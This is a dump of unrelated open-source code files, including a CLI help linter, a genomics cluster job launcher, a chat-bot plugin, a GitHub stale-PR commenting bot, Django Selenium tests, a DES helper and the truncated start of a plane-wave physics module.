_CaptureOutput(self, heading):\n # check if buffer is full from previous heading\n if self._buffer.getvalue() and self._prev_heading:\n self._Analyze(self._prev_heading, self._buffer.getvalue())\n # refresh the StringIO()\n self._buffer = io.StringIO()\n self._out = self._buffer\n # save heading so can get it in next section\n self._prev_heading = self._heading\n\n def _DiscardOutput(self, heading):\n self._out = self._null_out\n\n def _Analyze(self, heading, section):\n self._analyze[heading](section)\n\n def check_for_personal_pronouns(self, section):\n \"\"\"Raise violation if the section contains personal pronouns.\"\"\"\n words_in_section = set(re.compile(r\"\\w+\").findall(section.lower()))\n found_pronouns = words_in_section.intersection(self._PERSONAL_PRONOUNS)\n key_object = \"# \" + self._heading + \"_PRONOUN_CHECK FAILED\"\n value_object = (\"Please remove the following personal pronouns in the \" +\n self._heading + \" section:\\n\")\n if found_pronouns:\n found_pronouns_list = list(found_pronouns)\n found_pronouns_list.sort()\n value_object += \"\\n\".join(found_pronouns_list)\n self.json_object[key_object] = value_object\n return found_pronouns\n\n def Finish(self):\n if self._buffer.getvalue() and self._prev_heading:\n self._Analyze(self._prev_heading, self._buffer.getvalue())\n self._buffer.close()\n self._null_out.close()\n # exclude alpha commands from this requirement\n if (\"alpha\" not in self.command_name and self.command_metadata and not\n self.command_metadata.is_group and not self.example):\n value_object = \"You have not included an example in the Examples section.\"\n self.json_object[\"# EXAMPLE_PRESENT_CHECK FAILED\"] = value_object\n for element in self.json_object:\n if self.json_object[element]:\n self._file_out.write(\n six.text_type(element) + \": \" +\n six.text_type(self.json_object[element]) + \"\\n\")\n else:\n self._file_out.write(six.text_type(element) + \"\\n\")\n\n def Heading(self, level, heading):\n self._heading = heading\n if heading in self._HEADINGS_TO_LINT:\n self._CaptureOutput(heading)\n else:\n self._DiscardOutput(heading)\n\n def Example(self, line):\n # ensure this example is in the EXAMPLES section and it is not a group level\n # command\n if (self.command_metadata and not self.command_metadata.is_group and\n self._heading == \"EXAMPLES\"):\n # if previous line ended in a backslash, it is not the last line of the\n # command so append new line of command to command_text\n if self.command_text and self.command_text.endswith(\"\\\\\"):\n self.command_text += line.strip()\n # This is the first line of the command and ignore the `$ ` in it.\n else:\n self.command_text = line.replace(\"$ \", \"\")\n # if the current line doesn\"t end with a `\\`, it is the end of the command\n # so self.command_text is the whole command\n if not line.endswith(\"\\\\\"):\n # check that the example starts with the command of the help text\n if self.command_text.startswith(self.command_name):\n self.example = True\n self.json_object[\"# EXAMPLE_PRESENT_CHECK SUCCESS\"] = \"\"\n # self._file_out.write(\"# EXAMPLE_PRESENT_CHECK SUCCESS\\n\")\n rest_of_command = self.command_text[self.command_name_length:].split()\n flag_names = []\n for word in rest_of_command:\n word = word.replace(\"\\\\--\", \"--\")\n # Stop parsing arguments when ' -- ' is encountered.\n if word == \"--\":\n break\n if word.startswith(\"--\"):\n flag_names.append(word)\n self._analyze_example_flags_equals(flag_names)\n flags = [flag.partition(\"=\")[0] for flag in flag_names]\n if self.command_metadata and self.command_metadata.flags:\n self._check_valid_flags(flags)\n\n def _check_valid_flags(self, flags):\n for flag in flags:\n if flag not in self.command_metadata.flags:\n self.nonexistent_violation_flags.append(flag)\n\n def _analyze_example_flags_equals(self, flags):\n for flag in flags:\n if \"=\" not in flag and flag not in self.command_metadata.bool_flags:\n self.equals_violation_flags.append(flag)\n\n def _analyze_name(self, section):\n warnings = self.check_for_personal_pronouns(section)\n if not warnings:\n self.json_object[\"# NAME_PRONOUN_CHECK SUCCESS\"] = \"\"\n self.command_name = section.strip().split(\" -\")[0]\n if len(section.replace(\"\\n\", \" \").strip().split(\" - \")) == 1:\n self.name_section = \"\"\n value_object = \"Please add an explanation for the command.\"\n self.json_object[\"# NAME_DESCRIPTION_CHECK FAILED\"] = value_object\n warnings = True\n else:\n self.name_section = section.strip().split(\" -\")[1]\n self.json_object[\"# NAME_DESCRIPTION_CHECK SUCCESS\"] = \"\"\n self.command_name_length = len(self.command_name)\n # check that name section is not too long\n if len(self.name_section.split()) > self._NAME_WORD_LIMIT:\n value_object = (\"Please shorten the name section description to \"\n \"less than \" + six.text_type(self._NAME_WORD_LIMIT) +\n \" words.\")\n self.json_object[\"# NAME_LENGTH_CHECK FAILED\"] = value_object\n warnings = True\n else:\n self.json_object[\"# NAME_LENGTH_CHECK SUCCESS\"] = \"\"\n if not warnings:\n self.json_object[\"There are no errors for the NAME section.\"] = \"\"\n\n def _analyze_examples(self, section):\n if not self.command_metadata.is_group:\n warnings = self.check_for_personal_pronouns(section)\n if not warnings:\n self.json_object[\"# EXAMPLES_PRONOUN_CHECK SUCCESS\"] = \"\"\n if self.equals_violation_flags:\n warnings = True\n list_contents = \"\"\n for flag in range(len(self.equals_violation_flags) - 1):\n list_contents += six.text_type(\n self.equals_violation_flags[flag]) + \", \"\n list_contents += six.text_type(self.equals_violation_flags[-1])\n value_object = (\"There should be an `=` between the flag name and \"\n \"the value for the following flags: \" + list_contents)\n self.json_object[\"# EXAMPLE_FLAG_EQUALS_CHECK FAILED\"] = value_object\n warnings = True\n else:\n self.json_object[\"# EXAMPLE_FLAG_EQUALS_CHECK SUCCESS\"] = \"\"\n if self.nonexistent_violation_flags:\n warnings = True\n list_contents = \"\"\n for flag in range(len(self.nonexistent_violation_flags) - 1):\n list_contents += six.text_type(\n self.nonexistent_violation_flags[flag]) + \", \"\n list_contents += six.text_type(self.nonexistent_violation_flags[-1])\n key_object = \"# EXAMPLE_NONEXISTENT_FLAG_CHECK FAILED\"\n value_object = (\"The following flags are not valid for the command: \" +\n list_contents)\n self.json_object[key_object] = value_object\n else:\n self.json_object[\"# EXAMPLE_NONEXISTENT_FLAG_CHECK SUCCESS\"] = \"\"\n if not warnings:\n self.json_object[\"There are no errors for the EXAMPLES section.\"] = \"\"\n\n def _analyze_description(self, section):\n warnings = self.check_for_personal_pronouns(section)\n if not warnings:\n self.json_object[\"# DESCRIPTION_PRONOUN_CHECK SUCCESS\"] = \"\"\n if not warnings:\n self.json_object[\"There are no errors for the DESCRIPTION section.\"] = \"\"\n","repo_name":"egzonarexhepi/mathpixlatexconverter","sub_path":"frontend/matt12345/google-cloud-sdk/.install/.backup/lib/googlecloudsdk/core/document_renderers/linter_renderer.py","file_name":"linter_renderer.py","file_ext":"py","file_size_in_byte":8737,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"61"} +{"seq_id":"34873500466","text":"import os\nimport argparse\nimport sys\nimport logging\nimport datetime\nfrom ebi_eva_common_pyutils.command_utils import run_command_with_output\n\nfrom create_clustering_properties import create_properties_file\n\n\nlogger = logging.getLogger(__name__)\ntimestamp = datetime.datetime.now().strftime(\"%Y%m%d%H%M%S\")\n\n\ndef generate_bsub_command(assembly_accession, properties_path, logs_directory, clustering_artifact, memory, dependency):\n job_name = get_job_name(assembly_accession)\n log_file = '{assembly_accession}_cluster_{timestamp}.log'.format(assembly_accession=assembly_accession,\n timestamp=timestamp)\n error_file = '{assembly_accession}_cluster_{timestamp}.err'.format(assembly_accession=assembly_accession,\n timestamp=timestamp)\n if logs_directory:\n log_file = os.path.join(logs_directory, log_file)\n error_file = os.path.join(logs_directory, error_file)\n\n memory_amount = 8192\n if memory:\n memory_amount = memory\n\n dependency_param = ''\n if dependency:\n dependency_param = '-w {dependency} '.format(dependency=dependency)\n\n command = 'bsub {dependency_param}-J {job_name} -o {log_file} -e {error_file} -M {memory_amount} ' \\\n '-R \"rusage[mem={memory_amount}]\" java -jar {clustering_artifact} ' \\\n '--spring.config.location=file:{properties_path} --spring.batch.job.names=CLUSTERING_FROM_VCF_JOB'\\\n .format(dependency_param=dependency_param, job_name=job_name, log_file=log_file, error_file=error_file,\n memory_amount=memory_amount, clustering_artifact=clustering_artifact, properties_path=properties_path)\n\n print(command)\n add_to_command_file(properties_path, command)\n return command\n\n\ndef get_job_name(assembly_accession):\n return '{timestamp}_cluster_{assembly_accession}'.format(assembly_accession=assembly_accession, timestamp=timestamp)\n\n\ndef add_to_command_file(properties_path, command):\n \"\"\"\n This method writes the commands to a text file in the output folder\n \"\"\"\n commands_path = os.path.dirname(properties_path) + '/commands_' + timestamp + '.txt'\n with open(commands_path, 'a+') as commands:\n commands.write(command + '\\n')\n\n\ndef cluster_one(vcf_file, project_accession, assembly_accession, private_config_xml_file, profile,\n output_directory, logs_directory, clustering_artifact, only_printing, memory, instance, dependency):\n properties_path = create_properties_file('VCF', vcf_file, project_accession, assembly_accession,\n private_config_xml_file, profile, output_directory, instance)\n command = generate_bsub_command(assembly_accession, properties_path, logs_directory, clustering_artifact, memory,\n dependency)\n if not only_printing:\n run_command_with_output('Run clustering command', command, return_process_output=True)\n\n\ndef cluster_multiple_from_vcf(asm_vcf_prj_list, private_config_xml_file, profile,\n output_directory, logs_directory, clustering_artifact, only_printing, memory, instance):\n \"\"\"\n The list will be of the form: GCA_000000001.1#/file1.vcf.gz#PRJEB1111 GCA_000000002.2#/file2.vcf.gz#PRJEB2222 ...\n This method splits the triplets and then call the run_clustering method for each one\n \"\"\"\n dependency = None\n for triplet in asm_vcf_prj_list:\n data = triplet.split('#')\n assembly_accession = data[0]\n vcf_file = data[1]\n project_accession = data[2]\n cluster_one(vcf_file, project_accession, assembly_accession, private_config_xml_file, profile,\n output_directory, logs_directory, clustering_artifact, only_printing, memory, instance, dependency)\n dependency = get_job_name(assembly_accession)\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description='Cluster multiple assemblies', add_help=False)\n parser.add_argument(\"--asm-vcf-prj-list\", help=\"List of Assembly, VCF, project to be clustered, \"\n \"e.g. GCA_000233375.4#/nfs/eva/accessioned.vcf.gz#PRJEB1111 \"\n \"GCA_000002285.2#/nfs/eva/file.vcf.gz#PRJEB2222. \"\n \"Required when the source is VCF\", required=True, nargs='+')\n parser.add_argument(\"--private-config-xml-file\", help=\"ex: /path/to/eva-maven-settings.xml\", required=True)\n parser.add_argument(\"--profile\", help=\"Profile to get the properties, e.g.production\", required=True)\n parser.add_argument(\"--output-directory\", help=\"Output directory for the properties file\", required=False)\n parser.add_argument(\"--logs-directory\", help=\"Directory for logs files\", required=False)\n parser.add_argument(\"--clustering-artifact\", help=\"Artifact of the clustering pipeline\", required=True)\n parser.add_argument(\"--only-printing\", help=\"Prepare and write the commands, but don't run them\",\n action='store_true', required=False)\n parser.add_argument(\"--memory\", help=\"Amount of memory jobs will use\", required=False, default=8192)\n parser.add_argument(\"--instance\", help=\"Accessioning instance id\", required=False, default=1, choices=range(1, 13))\n parser.add_argument('--help', action='help', help='Show this help message and exit')\n\n args = {}\n try:\n args = parser.parse_args()\n cluster_multiple_from_vcf(args.asm_vcf_prj_list, args.private_config_xml_file,\n args.profile, args.output_directory, args.logs_directory, args.clustering_artifact,\n args.only_printing, args.memory, args.instance)\n except Exception as ex:\n logger.exception(ex)\n sys.exit(1)\n\n sys.exit(0)\n","repo_name":"EBIvariation/eva-accession","sub_path":"eva-accession-clustering-automation/clustering_automation/cluster_from_vcf.py","file_name":"cluster_from_vcf.py","file_ext":"py","file_size_in_byte":5908,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"1262370233","text":"from nonebot.adapters.onebot.v11 import Bot, Event\r\nfrom nonebot.adapters.onebot.v11.message import Message\r\nfrom nonebot.plugin import on_keyword\r\nimport requests\r\nimport urllib3\r\n\r\ndef get_content():\r\n\turl = 'https://api.oick.cn/dog/api.php'\r\n\tget = requests.get(url).text\r\n\treturn get\r\n \r\n\r\nstart = on_keyword(['舔狗日记'],priority=50)\r\n@start.handle()\r\nasync def start_handle(bot: Bot, event: Event):\r\n await start.finish(Message(f'[CQ:at,qq={event.get_user_id()}]{get_content()}'))\r\n\r\ntest = on_keyword(['114514'],priority=50)\r\n@test.handle()\r\nasync def test_handle(bot: Bot, event: Event):\r\n await test.finish(Message(f'[CQ:at,qq={event.get_user_id()}]{get_content()}'))","repo_name":"windsky125/abiogenesis","sub_path":"src/plugins/flatterer_diary/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":689,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13874117749","text":"import sys\nfrom collections import deque\n\nn, m, k, x = map(int, sys.stdin.readline().split())\ngraph = [[] for _ in range(n+1)]\n\nfor _ in range(m):\n a, b = map(int, sys.stdin.readline().split())\n graph[a].append(b)\n\nedge = [1e9] * (n+1)\nedge[x] = 0\n\nqueue = deque()\nvisited = set()\ncnt = 0\nqueue.append((x, cnt))\n\n\nwhile queue:\n\n node, cnt = queue.popleft()\n # print(node, cnt)\n cnt += 1\n if cnt > k and queue:\n continue\n\n for nd in graph[node]:\n if edge[nd] < cnt:\n continue\n else:\n edge[nd] = cnt\n queue.append((nd, cnt))\n # print(queue)\n# print(edge)\nflag = False\nfor i in range(1, len(edge)):\n if edge[i] == k:\n flag = True\n print(i)\n\nif not flag:\n print(-1)","repo_name":"whiskey21/my-algorithm-book","sub_path":"홍익자주동3/2주차_그래프탐색/특정거리의도시찾기.py","file_name":"특정거리의도시찾기.py","file_ext":"py","file_size_in_byte":759,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20130560162","text":"import json\nimport requests\nfrom datetime import datetime\n\n# Class for handling GraphQL queries for GitHub's APIv4\nclass Query(object):\n # Initialise default parameters\n def __init__(self):\n # GitHub APIv4 endpoint\n self.endpoint = \"https://api.github.com/graphql\"\n\n # Create GraphQL Authorization header\n # Fetch GitHub Personal Authentication Token\n pat_file = open('personal_access_token.txt', 'r')\n bearer_token = \"Bearer %s\" % pat_file.readline().replace('\\n', '')\n pat_file.close()\n # Insert into header\n self.auth = {\"Authorization\": bearer_token}\n\n # Initialise empty GraphQL variables dictionary\n self.variables = {'repo_owner': 'michaeljturner', 'repo_name' : 'APItesting'}\n\n # Threshold for pull requests to become stale (days)\n self.staleThreshold = 0\n # Number of results to return per page\n self.page_size = 25\n\n # Sends Query as JSON object, reply formatted as nested python dictionary\n def sendQuery(self, query):\n # Read query and variables into JSON formatted string\n message = json.dumps({\"query\": query, \"variables\": self.variables})\n # Convert Python None to JSON null\n payload = message.replace(\"None\", \"null\")\n\n # Post Query, recieve reply\n reply = requests.post(self.endpoint, payload, headers=self.auth)\n\n # Return reply as a nested Python dictionary\n return reply.json()\n\n # Calculates the difference between time now and the input time in days\n def elapsedDays(self, timeString):\n # Reads in the time string (given in UTC) into a datetime object\n inputTime = datetime.strptime(timeString, \"%Y-%m-%dT%H:%M:%SZ\")\n # Returns the floor of the number of days difference (from timedelta)\n return (datetime.now() - inputTime).days\n\n\n # Fetches pull request number of all stale pull requests\n def fetchStalePullRequests(self):\n # GraphQL query\n query = \"\"\"\nquery($repo_owner: String!, $repo_name: String!, $page_size: Int!, $cursor: String){\n repository(owner: $repo_owner, name: $repo_name){\n pullRequests(first: $page_size, after: $cursor, states: [OPEN]){\n pageInfo{\n hasNextPage\n endCursor\n }\n nodes{\n number\n updatedAt\n }\n }\n }\n}\n\"\"\"\n # Create optional cursor variable (used for pagination)\n self.variables['cursor'] = None\n # Set number of results per page (max: 100)\n self.variables['page_size'] = self.page_size\n\n # Container for Pull Request: number, updatedAt fields\n stalePRs = []\n\n # Fetch data from GitHub, iterate through Pull Requests if\n # there are more pages of data\n while True:\n #Store reply\n data = self.sendQuery(query)\n\n # Iterate through the nodes list, check if Pull Request is stale\n # If stale, append PR to list of stale Pull Requests\n for pullRequest in data['data']['repository']['pullRequests']['nodes']:\n # Check if pull request is stale\n days_dormant = self.elapsedDays(pullRequest['updatedAt'])\n\n if days_dormant >= self.staleThreshold:\n stalePRs.append([pullRequest['number'], days_dormant])\n\n # If more pull requests, update cursor to point to new page\n if data['data']['repository']['pullRequests']['pageInfo']['hasNextPage']:\n self.variables['cursor'] = data['data']['repository']['pullRequests']\\\n ['pageInfo']['endCursor']\n else:\n # No more data, stop pagination\n break\n\n # Remove non-default variables\n del self.variables['page_size'], self.variables['cursor']\n\n # Return stale Pull Requests as tuple (number, days elapsed)\n return stalePRs\n\n\n # Fetches the status and author of the most recent commits on each pull request\n def sortPRs_buildStatus(self, PRlist):\n # Graph QL query\n query = \"\"\"\nquery($repo_owner: String!, $repo_name: String!, $pr_number: Int!){\n repository(owner: $repo_owner, name: $repo_name){\n pullRequest(number: $pr_number){\n id\n commits(last: 1){\n nodes{\n commit{\n author{\n user{\n login\n }\n }\n status{\n state\n }\n }\n }\n }\n }\n }\n}\n\"\"\"\n # Initialise lists to hold commits which have passed and failed the build checks\n successful_commits = []\n failed_commits = []\n\n for PR in PRlist:\n # Read in Pull Request number as variable\n self.variables['pr_number'] = PR[0]\n data = self.sendQuery(query)\n\n # Catch error if Pull Request has no associated build checks\n try:\n commit_status = data['data']['repository']['pullRequest']['commits']\\\n ['nodes'][0]['commit']['status']['state']\n except TypeError:\n commit_status = None\n # Catch if user = None (potentially because account has been removed from mantid team)\n try:\n commit_author = data['data']['repository']['pullRequest']\\\n ['commits']['nodes'][0]['commit']['author']\\\n ['user']['login']\n except TypeError:\n commit_author = ''\n\n # Add commit_author and pull request ID\n PR.append(commit_author)\n PR.append(data['data']['repository']['pullRequest']['id'])\n if commit_status == 'SUCCESS':\n successful_commits.append(PR)\n else:\n failed_commits.append(PR)\n\n # Clear up variables\n try:\n del self.variables['pr_number']\n except KeyError:\n print('No stale Pull Requests')\n\n return (successful_commits, failed_commits)\n\n\n # Selects which user to ask about the stale PR (build: SUCCESS)\n def successMessage(self, PRlist):\n query = \"\"\"\nquery($repo_owner: String!, $repo_name: String!, $pr_number: Int!){\n repository(owner: $repo_owner, name: $repo_name){\n pullRequest(number: $pr_number){\n reviews(last: 1){\n nodes{\n state\n author{\n login\n }\n }\n }\n reviewRequests(last: 1){\n nodes{\n reviewer{\n login\n }\n }\n }\n }\n }\n}\n\"\"\"\n # Initialise list to hold data needed to comment on pull requests\n commentList = []\n # Loop through PRs which have built successfully\n for PR in PRlist:\n # Set pr_number variable\n self.variables['pr_number'] = PR[0]\n # Send Query\n data = self.sendQuery(query)\n\n # Store data variables. Catch if there are no reviews\n try:\n review_state = data['data']['repository']['pullRequest']\\\n ['reviews']['nodes'][0]['state']\n review_author = data['data']['repository']['pullRequest']\\\n ['reviews']['nodes'][0]['author']['login']\n except (TypeError, IndexError) as error:\n review_state = None\n\n # Catch error if there are no review requests\n try:\n reviewer = data['data']['repository']['pullRequest']\\\n ['reviewRequests']['nodes'][0]['reviewer']['login']\n except (TypeError, IndexError) as error:\n reviewer = None\n\n\n # Choose login to @___ comment\n if review_state is None:\n # No review or review request\n if reviewer is None:\n commentList.append([PR[3], \"@\" + PR[2] + \" would you like to request a review?\"])\n # There is a review request, but no review\n else:\n commentList.append([PR[3], \"@\" + reviewer + \" have you been able to review the code?\"])\n # The last review approved the code\n elif review_state == 'APPROVED':\n # No review request - potentially could ask gatekeepers, but leave the decision to the PR author\n if reviewer is None:\n commentList.append([PR[3], \"@\" + review_author + \" could this be given to the gatekeepers?\"])\n # There is another review request\n else:\n commentList.append([PR[3], \"@\" + reviewer + \" have you been able to review the code?\"])\n # The last review requested changes, but there has been no response from the PR author\n else:\n commentList.append([PR[3], \"@\" + PR[2] + \" have you been able to respond to the review?\"])\n\n # Catch error if no stale pull requests\n try:\n del self.variables['pr_number']\n except KeyError:\n pass\n\n return commentList\n\n # Returns a list of PRs, with comment message aimed at author of failed commit\n def failMessage(self, PRlist):\n commentList = []\n for PR in PRlist:\n commentList.append([PR[3], \"@\" + PR[2] + \" have you been able locate what's causing the build error?\"])\n return commentList\n\n def commentOnPullRequests(self, commentList):\n mutation=\"\"\"\nmutation($pr_id: ID!, $message: String!){\n addComment(input: {subjectId: $pr_id, body: $message}){\n subject{\n id\n }\n }\n}\n\"\"\"\n\n # No need for repository variables in mutation query - store and remove from\n # query variables, to avoid a GitHub error\n repo_name = self.variables['repo_name']\n repo_owner = self.variables['repo_owner']\n del self.variables['repo_owner']\n del self.variables['repo_name']\n\n # Iterate through stale pull requests, and comment the message chosen\n for comment in commentList:\n self.variables['pr_id'] = comment[0]\n message = comment[1]\n # If the chosen user to comment at no longer exists, notify Nick Draper\n if message[1] == \" \":\n message_update = \"@NickDraper\" + message[2:]\n self.variables['message'] = comment[-1]\n\n self.sendQuery(mutation)\n\n try:\n del self.variables['pr_id']\n del self.variables['message']\n except KeyError:\n pass\n\n # Restore repository variables\n self.variables['repo_name'] = repo_name\n self.variables['repo_owner'] = repo_owner\n\n # Function to wrap everything up into a few lines\n def notifyStalePullRequests(self):\n PRlist = self.fetchStalePullRequests()\n successes, fails = self.sortPRs_buildStatus(PRlist)\n comments = self.successMessage(successes)\n comments.extend(self.failMessage(fails))\n\n self.commentOnPullRequests(comments)\n\n# Testing\nif __name__ == '__main__':\n g = Query()\n g.notifyStalePullRequests()\n","repo_name":"michaeljturner/MantidBot","sub_path":"queryBuilder.py","file_name":"queryBuilder.py","file_ext":"py","file_size_in_byte":11515,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20356356008","text":"from project.setup_test import AbstractTestSetup\nfrom django.test import LiveServerTestCase, override_settings, tag\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom django.conf import settings\nimport os\nfrom time import sleep\nos.environ['DJANGO_LIVE_TEST_SERVER_ADDRESS'] = '0.0.0.0:8001'\n\n\n@tag('selenium-system')\n@override_settings(ALLOWED_HOSTS=['*'])\nclass SystemTestUser(LiveServerTestCase, AbstractTestSetup):\n @classmethod\n def setUpClass(cls):\n cls.host = \"0.0.0.0\"\n cls.port = 8001\n super(SystemTestUser, cls).setUpClass()\n settings.DEBUG = True\n AbstractTestSetup.setup_webdriver(cls)\n AbstractTestSetup.setup_products(cls)\n AbstractTestSetup.setup_user(cls, signin=False)\n\n def tearDown(self):\n self.browser.quit()\n\n def test_signup_signin_address(self):\n print(\"\\nStarting system test for: user signup => user login => add shipping address => change shipping address\")\n EMAIL = 'test5@test.com'\n USERNAME = 'test'\n PASSWORD = '12345678'\n '''\n Sign up, then sign in, then add/modify the shipping address\n '''\n\n from users.models import User\n from knox.models import AuthToken\n\n # Sign up\n self.assertEqual(len(User.objects.filter(email=EMAIL)), 0)\n self.browser.get(self.fe)\n loginbtn = self.browser.find_element_by_css_selector(\"a#fontSignup\")\n loginbtn.click()\n form = self.browser.find_element(by=By.CSS_SELECTOR, value='form')\n form.find_element(by=By.ID, value='email').send_keys(EMAIL)\n form.find_element(by=By.ID, value='name').send_keys(USERNAME)\n form.find_element(by=By.ID, value='password').send_keys(PASSWORD)\n form.find_element(by=By.CSS_SELECTOR,\n value='button.btn[type=submit]').click()\n WebDriverWait(self.browser, 5).until(\n lambda x: form.find_element(by=By.CSS_SELECTOR, value='.succ > a.login'))\n user = User.objects.get(email=EMAIL)\n self.assertEqual(user.username, USERNAME)\n\n # Log in\n self.browser.get(self.fe)\n loginbtn = self.browser.find_element_by_css_selector(\"a#fontLogin\")\n loginbtn.click()\n form = self.browser.find_element(by=By.CSS_SELECTOR, value='form')\n form.find_element(by=By.ID, value='email').send_keys(EMAIL)\n form.find_element(by=By.ID, value='password').send_keys(PASSWORD)\n form.find_element(by=By.CSS_SELECTOR,\n value='button.btn[type=submit]').click()\n WebDriverWait(self.browser, 5).until(\n lambda x: self.browser.find_element_by_xpath(\"//a[@class='nav-link pr-0 userDetail']\"))\n self.assertEqual(len(AuthToken.objects.filter(user=user)), 1)\n self.assertEqual(len(AuthToken.objects.filter(user=user)), 1)\n\n # Add shipping address\n self.browser.find_element_by_xpath(\n \"//a[@class='nav-link pr-0 userDetail']\").click()\n self.browser.find_element(by=By.ID, value='change-btn').click()\n self.browser.find_element(\n by=By.ID, value='floatingcardID').send_keys('1111222211112222')\n self.browser.find_element(\n by=By.ID, value='floatingAddress').send_keys('1 John St')\n self.browser.find_element(\n by=By.ID, value='floatingSelect').send_keys('ON')\n self.browser.find_element(\n by=By.ID, value='floatingPhoneNum').send_keys('1234567890')\n self.browser.find_element(\n by=By.ID, value='floatingPostalCode').send_keys('M2W2W2')\n self.browser.find_element(by=By.ID, value='submit-btn').click()\n WebDriverWait(self.browser, 5).until(\n lambda x: x.find_element(by=By.ID, value='change-btn'))\n\n user = User.objects.get(email=EMAIL)\n self.assertEqual(user.credit_card, '1111222211112222')\n self.assertEqual(user.shipping_address.phone_number, '1234567890')\n\n # # Change shipping address\n self.browser.find_element(by=By.ID, value='change-btn').click()\n self.browser.find_element(\n by=By.ID, value='floatingcardID').clear()\n self.browser.find_element(\n by=By.ID, value='floatingcardID').send_keys('1111222211112223')\n self.browser.find_element(\n by=By.ID, value='floatingAddress').clear()\n self.browser.find_element(\n by=By.ID, value='floatingAddress').send_keys('1 John St')\n self.browser.find_element(\n by=By.ID, value='floatingSelect').send_keys('ON')\n self.browser.find_element(\n by=By.ID, value='floatingPhoneNum').clear()\n self.browser.find_element(\n by=By.ID, value='floatingPhoneNum').send_keys('1234567891')\n self.browser.find_element(\n by=By.ID, value='floatingPostalCode').clear()\n self.browser.find_element(\n by=By.ID, value='floatingPostalCode').send_keys('M2W2W2')\n self.browser.find_element(by=By.ID, value='submit-btn').click()\n WebDriverWait(self.browser, 5).until(\n lambda x: x.find_element(by=By.ID, value='change-btn'))\n user = User.objects.get(email=EMAIL)\n self.assertEqual(user.credit_card, '1111222211112223')\n self.assertEqual(user.shipping_address.phone_number, '1234567891')\n","repo_name":"XXXXDD99999/django-web","sub_path":"backend-master/project/tests_system/users.py","file_name":"users.py","file_ext":"py","file_size_in_byte":5365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29241331863","text":"from tkinter import *\nfrom tkinter import ttk\n\n\ndef setColor(newcolor):\n global color\n color = newcolor\n\n\ndef xy(event):\n global x, y\n x, y = event.x, event.y\n\n\ndef addLine(event):\n global x, y\n canvas.create_line((x, y, event.x, event.y), fill=color)\n x, y = event.x, event.y\n\n\nroot = Tk()\nroot.title('Pillo')\nroot.rowconfigure(0, weight=1)\nroot.columnconfigure(0, weight=1)\n\ncanvas = Canvas(root)\nid = canvas.create_rectangle(10, 10, 30, 30, fill='red')\ncanvas.tag_bind(id, \"\", lambda x: setColor('red'))\ncanvas.grid(row=0, column=0, sticky='nsew')\ncanvas.bind('', xy)\ncanvas.bind('', addLine)\n\nroot.mainloop()\n","repo_name":"samreachyan/python-gui-learn","sub_path":"Learn GUI/Pillo.py","file_name":"Pillo.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72296643395","text":"#coding:utf-8\nimport urllib2\n\nfrom pyDes import des, CBC, PAD_PKCS5\nimport binascii\nimport constants\n\n\ndef des_encrypt(s):\n \"\"\"\n DES 加密\n :param s: 原始字符串\n :return: 加密后字符串,16进制\n \"\"\"\n req = urllib2.Request(\n url=constants.gk_url)\n iv = urllib2.urlopen(req).read()\n print(iv)\n k = des(iv, CBC, iv, pad=None, padmode=PAD_PKCS5)\n en = k.encrypt(s.encode('utf8'), padmode=PAD_PKCS5)\n return binascii.b2a_hex(en)\n\ndef des_descrypt(s):\n \"\"\"\n DES 解密\n :param s: 加密后的字符串,16进制\n :return: 解密后的字符串\n \"\"\"\n req = urllib2.Request(\n url=constants.gk_url)\n iv = urllib2.urlopen(req).read()\n k = des(iv, CBC, iv, pad=None, padmode=PAD_PKCS5)\n de = k.decrypt(binascii.a2b_hex(s), padmode=PAD_PKCS5)\n return de","repo_name":"ha1vk/sqlserver-","sub_path":"client/encdec.py","file_name":"encdec.py","file_ext":"py","file_size_in_byte":833,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"41191471253","text":"import FWCore.ParameterSet.Config as cms\n\nhltDiJetAveFilterRecoCaloJet = cms.EDFilter('HLTDiCaloJetAveFilter',\n saveTags = cms.bool(True),\n inputJetTag = cms.InputTag('hltIterativeCone5CaloJets'),\n minPtAve = cms.double(100),\n minPtJet3 = cms.double(99999),\n minDphi = cms.double(-1),\n triggerType = cms.int32(85),\n mightGet = cms.optional.untracked.vstring\n)\n","repo_name":"cms-sw/cmssw-cfipython","sub_path":"HLTrigger/JetMET/hltDiJetAveFilterRecoCaloJet_cfi.py","file_name":"hltDiJetAveFilterRecoCaloJet_cfi.py","file_ext":"py","file_size_in_byte":367,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"37511072495","text":"\"\"\"\n\nplane wave basis information\n\n\"\"\"\n\nimport numpy as np\n\n\nfrom pyscf.lib.numpy_helper import cartesian_prod\n\nfrom qcpanop.pw_pbc.pseudopotential import get_gth_pseudopotential_parameters\n\ndef factor_integer(n):\n\n i = 2\n factors=[]\n while i*i <= n:\n\n if n % i:\n i += 1\n else:\n n //= i\n if i not in factors:\n factors.append(i)\n\n if n > 1:\n if n not in factors:\n factors.append(n)\n\n return factors\n\ndef get_plane_wave_basis(ke_cutoff, a, b):\n\n \"\"\"\n \n get plane wave basis functions and indices\n\n :param ke_cutoff: kinetic energy cutoff (in atomic units)\n :param a: lattice vectors\n :param b: reciprocal lattice vectors\n\n :return g: the plane wave basis\n :return g2: the square modulus of the plane wave basis\n :return miller: miller indices\n :return reciprocal_max_dim: maximum dimensions for reciprocal basis\n :return real_space_grid_dim: real-space grid dimensions\n :return miller_to_g: maps the miller indices to the index of G \n\n \n \"\"\"\n\n # estimate maximum values for the miller indices (for density)\n reciprocal_max_dim_1 = int( np.ceil( (np.sqrt(2.0*4.0*ke_cutoff) / (2.0 * np.pi) ) * np.linalg.norm(a[0]) + 